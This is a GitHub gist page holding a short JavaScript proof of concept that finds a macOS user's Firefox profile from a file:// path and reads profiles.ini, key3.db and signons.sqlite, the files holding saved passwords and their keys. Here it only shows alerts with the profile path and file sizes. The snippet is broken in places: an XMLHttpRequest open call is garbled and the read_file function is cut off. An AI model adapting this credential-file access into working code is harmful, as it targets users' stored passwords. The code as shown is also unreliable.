Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
function firefox_password(){
var username = location.href.match(/Users\/(.*?)\//)[1];
var base = "/Users/" + username + "/Library/Application\ Support/Firefox/";
var xhr = new XMLHttpRequest;
read_file(base + "profiles.ini", function(res){
var v = res;
var profile_path = base + v.match(/Path=(.*?)\n/)[1];
alert("profile path is " + profile_path);
read_file(profile_path + "/key3.db", function(res){ alert("key3.db: " + res.length + " bytes") });
read_file(profile_path + "/signons.sqlite", function(res){ alert("signons.sqlite:" + res.length + " bytes") });
function read_file(path, callback){
var xhr = new XMLHttpRequest;"GET", path, true);
xhr.onload = function(){
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.